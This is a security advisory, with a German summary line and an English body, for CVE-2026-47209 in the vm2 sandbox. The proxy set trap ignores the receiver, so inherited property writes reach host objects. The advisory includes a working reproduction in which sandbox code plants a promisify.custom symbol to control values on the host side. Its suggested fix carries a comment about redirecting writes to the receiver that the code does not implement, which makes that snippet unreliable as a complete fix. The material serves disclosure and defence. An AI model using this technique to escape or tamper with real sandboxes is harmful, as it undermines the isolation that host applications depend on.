CVE-2026-47209

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.

## Summary The `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path. ## Vulnerable Code ```javascript // bridge.js:1231-1260 set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); // ... try { value = otherFromThis(value); return otherReflectSet(object, key, value) === true; // BUG: 'receiver' is never used. // Should check if receiver !== proxy and handle accordingly. } catch (e) { throw thisFromOtherForThrow(e); } } ``` ## Impact Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child: ```javascript // Sandbox code const child = Object.create(hostObj); child.injectedProp = 'attacker-value'; // hostObj now has 'injectedProp' on the HOST side ``` Combined with the Symbol.for coverage gap, this enables semantic confusion attacks: ```javascript const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFunction); child[kCustom] = function() { return Promise.resolve('attacker-controlled'); }; // Host: util.promisify(hostFunction)() returns 'attacker-controlled' ``` ## Reproduction ```javascript const { VM } = require('vm2'); const util = require('util'); const vm = new VM(); const hostFn = function api(cb) { cb(null, 'ok'); }; vm.setGlobal('hostFn', hostFn); vm.run(` const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFn); child[kCustom] = function() { return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG'); }; `); // Host side const promisified = util.promisify(hostFn); promisified('test').then(r => console.log(r)); // Output: EXPLOITED-VIA-RECEIVER-BUG ``` ## Suggested Fix ```javascript set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA); if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) { return this.setPrototypeOf(target, value); } if (key === 'constructor' && thisArrayIsArray(object)) { thisReflectSet(target, key, value); return true; } try { value = otherFromThis(value); // When receiver is not the proxy itself, set on receiver (this-realm) // instead of the host target to preserve prototype-chain semantics. return otherReflectSet(object, key, value) === true; } catch (e) { throw thisFromOtherForThrow(e); } } ```